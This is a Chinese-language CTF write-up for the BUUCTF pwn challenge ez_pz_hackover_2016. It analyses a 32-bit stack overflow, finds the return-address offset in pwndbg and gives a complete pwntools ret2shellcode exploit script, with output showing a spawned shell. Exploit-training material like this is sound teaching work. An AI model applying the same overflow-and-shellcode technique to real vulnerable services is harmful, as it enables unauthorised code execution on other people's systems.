ez_pz_hackover_2016_wp

buuctf pwn 板块下的 ez_pz_hackover_2016

1
2
3
4
5
6
7
8
9
10
❯ checksec ./ez_pz_hackover_2016
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/BUUCTF/ez_pz_hackover_2016'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void *chall()
{
size_t v0; // eax
void *result; // eax
char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", s);
printf("Whats your name?\n");
printf("> ");
fgets(s, 1023, stdin);
v0 = strlen(s);
v3 = memchr(s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", s);
result = (void *)strcmp(s, "crashme");
if ( !result )
result = vuln((int)s, 0x400u);
return result;
}
1
2
3
4
5
6
void *__cdecl vuln(int src, size_t n)
{
char dest[50]; // [esp+6h] [ebp-32h] BYREF

return memcpy(dest, &src, n);
}

如果输入的是 crashme ,那就可以进入 vuln 函数,函数中有很明显的栈溢出漏洞,从 src 中也就是输入的 s 复制了 0x400 字节到 dest ,而 dest 只有50大小,造成栈溢出。

本题应该有两种解法

  • ret2libc (翻 wp 翻到的)
  • ret2shellcode

ret2shellcode

strcmp 函数对输入的 s 做了比较,是否等于 crashme , 但是 s 要被我们用作 payload,所以可以用 \x00 把 strcmp 截断 (常规 bypass)
因为开了 Full RELRO , 并且没有 canary 和 NX ,这就给了我们布置栈帧和 shellcode 的机会。

Full RELRO 的缘故,我们只能用栈内偏移固定来做,刚好题目给了我们 s 的地址:

1
printf("Yippie, lets crash: %p\n", s);

因此在布置栈帧返回到 shellcode 的时候就可以利用 s_addr -> shellcode 的相对偏移来达到执行 shellcode 的目的

+++++++++ 这里需要注意一点
dest 本来是 0x32 + 0x04字节溢出,但是经过测试 26个字节就可以覆盖 ret_addr:

1
2
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')
# context(arch='amd64', os='linux', log_level='debug')
# io = remote('node5.buuoj.cn',26284)
io = process("./ez_pz_hackover_2016")
elf = ELF("./ez_pz_hackover_2016")

io.recvuntil("Yippie, lets crash:")
s_addr = eval(io.recvuntil("\n" ,drop=True))
print("+++++++ s_addr:",hex(s_addr))
io.recvuntil(">")
payload = b'crashme\x00' + b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama'

gdb.attach(io)
pause()

io.sendline(payload)
io.interactive()

在执行到 ► 0x80485fd <vuln+25> add esp, 0x10 ESP => 0xff9586c0 (0xff9586b0 + 0x10)
的时候,发现 BACKTRACE 就变了:

1
2
3
4
5
6
7
8
────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────
0 0x80485fd vuln+25
1 0x61666161 None
2 0x61676161 None
3 0x61686161 None
4 0x61696161 None
5 0x616a6161 None
6 0x616b6161 None
1
2
3
pwndbg> cyclic -l 0x61666161
Finding cyclic pattern of 4 bytes: b'aafa' (hex: 0x61616661)
Found at offset 18

所以18个字节+8个字节就可以导致溢出 , 验证一下 :

1
payload = b'crashme\x00' + b'a' * 18 + p32(0xdeadbeef)
1
2
3
4
5
6
7
8
────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────
0 0x80485fd vuln+25
1 0xdeadbeef None
2 0x482c000a None
3 0x4400f2df None
4 0x6ad8f303 None
5 0x5e8fff1 None
6 0x9d0ef307 None

没错,那现在我们的想法就是

1
b'crashme\x00' + padding + shellcode_addr + shellcode

问题就在于 shellcode_addr 怎么知道,根本不知道,只能用栈内偏移来做

我们 gdb 调试,输入 crashme 后到 vuln 看栈内情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> stack 30
00:0000│ esp 0xffffcd30 ◂— 1
01:0004│ eax-2 0xffffcd34 ◂— 0xcd8ccd9c
02:0008-030 0xffffcd38 ◂— 0x400ffff
03:000c│-02c 0xffffcd3c ◂— 0x80000
04:0010-028 0xffffcd40 ◂— 0x37de0000
05:0014-024 0xffffcd44 ◂— 0xf7fd
06:0018-020 0xffffcd48 ◂— 0xcdec0000
07:001c│-01c 0xffffcd4c ◂— 0xdb8cffff
08:0020-018 0xffffcd50 ◂— 0x7263f7ff
09:0024-014 0xffffcd54 ◂— 'ashme'
0a:0028-010 0xffffcd58 ◂— 0x65 /* 'e' */
0b:002c│-00c 0xffffcd5c —▸ 0xffff0000 ◂— 0
0c:0030-008 0xffffcd60 ◂— 0x9614ffff
0d:0034-004 0xffffcd64 ◂— 0xd5e8f7fc
0e:0038│ ebp 0xffffcd68 ◂— 0x10f7ff
0f:003c│+004 0xffffcd6c —▸ 0xffff0000 ◂— 0
10:0040│+008 0xffffcd70 ◂— 0x182cffff
11:0044│+00c 0xffffcd74 ◂— 0x1400f7d8
12:0048│+010 0xffffcd78 ◂— 0xce68f7fc
13:004c│+014 0xffffcd7c ◂— 0xd5e8ffff
14:0050│+018 0xffffcd80 ◂— 0x6d0ef7ff
15:0054│+01c 0xffffcd84 ◂— 0xb000f7fd
16:0058│+020 0xffffcd88 ◂— 0x2000f7ff
17:005c│+024 0xffffcd8c ◂— 0x10000
18:0060│+028 0xffffcd90 ◂— 0x74f40000
19:0064│+02c 0xffffcd94 ◂— 0x9921f7fd
1a:0068│+030 0xffffcd98 ◂— 0xd5e8f7fc
1b:006c│+034 0xffffcd9c ◂— 0xd5e8f7ff
1c:0070│+038 0xffffcda0 ◂— 0x7b39f7ff
1d:0074│+03c 0xffffcda4 ◂— 0xd5e8f7fd

看到我们输入的 crashme 是从 08:0020│-018 0xffffcd50 ◂— 0x7263f7ff 这里开始的,位置为 08:0020
0f:003c│+004 0xffffcd6c —▸ 0xffff0000 ◂— 0 此处为 ret_addr , 位置为 0f:003c

1
0x20 - 0x3c = -0x1c

所以我们的 shellcode_addr 也就迎刃而解了, 完整解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from LibcSearcher import *
context(arch='i386', os='linux', log_level='debug')
# context(arch='amd64', os='linux', log_level='debug')
# io = remote('node5.buuoj.cn',26284)
io = process("./ez_pz_hackover_2016")
elf = ELF("./ez_pz_hackover_2016")

io.recvuntil("Yippie, lets crash:")
s_addr = eval(io.recvuntil("\n" ,drop=True))
print("+++++++ s_addr:",hex(s_addr))
io.recvuntil(">")
shellcode = asm(shellcraft.sh())
payload = b'crashme\x00' + b'a' * 18 + p32(s_addr - 0x1c) + shellcode

io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
Welcome crashme!
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x8c bytes:
b'uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)\n'
uid=1000(xekoner) gid=1000(xekoner) groups=1000(xekoner),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),125(libvirt)